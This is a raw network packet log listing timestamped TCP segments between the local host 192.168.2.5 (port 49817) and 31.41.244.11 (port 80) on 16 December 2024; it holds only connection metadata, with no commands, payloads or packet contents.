Dec 16, 2024 09:01:15.625047922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.625082016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.625121117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.625904083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.626030922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.626035929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.626079082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.626928091 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.626983881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.627026081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.627082109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.627906084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.627962112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.628040075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.628093004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.628943920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.628990889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.629060984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.629112005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.629898071 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.629952908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.630002022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.630053997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.630904913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.630954027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.631036043 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.631087065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.631886005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.631944895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.632011890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.632062912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.632896900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.632949114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.633018017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.633069038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.633886099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.633939028 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.634006977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.634056091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.634921074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.635041952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.635094881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.635926008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.636102915 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.636157990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.636879921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.637029886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.637087107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.637891054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.637948990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.638031006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.638082981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.638871908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.638930082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.638989925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.639046907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.639897108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.639955044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.639955044 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.640028954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.640866995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.640983105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.641134024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.641134024 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.641846895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.641905069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.641979933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.642029047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.642851114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.642904997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.642949104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.643001080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.643851042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.643910885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.643949032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.643999100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.644872904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.644937992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.644954920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.645005941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.645879030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.645931005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.645998001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.646045923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.646861076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.646909952 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.646948099 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.646996021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.647825956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.647876978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.647983074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.648039103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.648844957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.648900032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.648958921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.649009943 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.649827957 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.649883986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.649924994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.649976015 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.650856972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.650916100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.651056051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.651112080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.651807070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.651868105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.651936054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.651988029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.652829885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.652894974 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.652964115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.653016090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.653816938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.653873920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.654012918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.654062033 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.654784918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.654836893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.654911995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.654962063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.655829906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.655884981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.655885935 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.655931950 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.656793118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.656850100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.656930923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.656985044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.657790899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.657846928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.657912970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.657959938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.658771992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.658827066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.658910036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.658958912 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.659822941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.659879923 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.659935951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.659987926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.660784960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.660844088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.660912037 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.660962105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.661767006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.661818027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.662075996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.662131071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.662818909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.662877083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.662914991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.662967920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.803396940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.803463936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.803472996 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.803529978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.803832054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.803956032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.804019928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.804800987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.804857969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.804968119 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.805018902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.805808067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.805866003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.806324959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.806360006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.806394100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.806454897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.807147026 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.807220936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.807287931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.807349920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.808114052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.808163881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.808245897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.808304071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.809108973 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.809176922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.809242964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.809304953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.810106993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.810179949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.810230970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.810285091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.811192036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.811256886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.811269999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.811326981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.812082052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.812146902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.812237978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.812310934 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.813083887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.813143969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.813196898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.813277006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.814095020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.814153910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.814197063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.814251900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.815083027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.815136909 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.815196991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.815256119 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.816062927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.816174984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.816186905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.816246986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.817199945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.817235947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.817260027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.817280054 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.818061113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.818135977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.818187952 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.818234921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.819072962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.819130898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.819211960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.819266081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.820076942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.820260048 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.820297956 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.820316076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.821048975 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.821101904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.821167946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.821227074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.822062969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.822151899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.822171926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.822218895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.823030949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.823101997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.823158979 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.823208094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.824068069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.824132919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.824158907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.824208021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.825069904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.825129032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.825175047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.825227976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.826028109 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.826096058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.826133966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.826181889 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.827019930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.827081919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.827150106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.827213049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.829088926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.829123020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.829149008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.829157114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.829178095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.829193115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.829197884 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.829308987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.830028057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.830127954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.830183029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.831027985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.831094027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.831149101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.831208944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.832010031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.832077026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.832118988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.832174063 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.833026886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.833085060 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.833146095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.833204985 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.834073067 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.834147930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.834192991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.834285975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.835024118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.835087061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.835196018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.835247040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.836000919 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.836054087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.836119890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.836196899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.836997986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.837109089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.837127924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.837189913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.837986946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.838051081 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.838109970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.838165998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.838978052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.839030027 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.839096069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.839148998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.839973927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.840063095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.840122938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.840184927 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.840995073 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.841057062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.841125011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.841180086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.842005968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.842086077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.842156887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.842219114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.844959974 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.845027924 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.845983982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.846046925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.846304893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.846338987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.846357107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.846376896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.846398115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.846434116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.846489906 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.846543074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.846993923 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.847204924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.847251892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.847919941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.847981930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.848074913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.848185062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.848790884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.848994017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.849046946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.850052118 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.850085020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.850136042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.850905895 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:15.850956917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:15.851078987 CET	80	49817	31.41.244.11	192.168.2.5
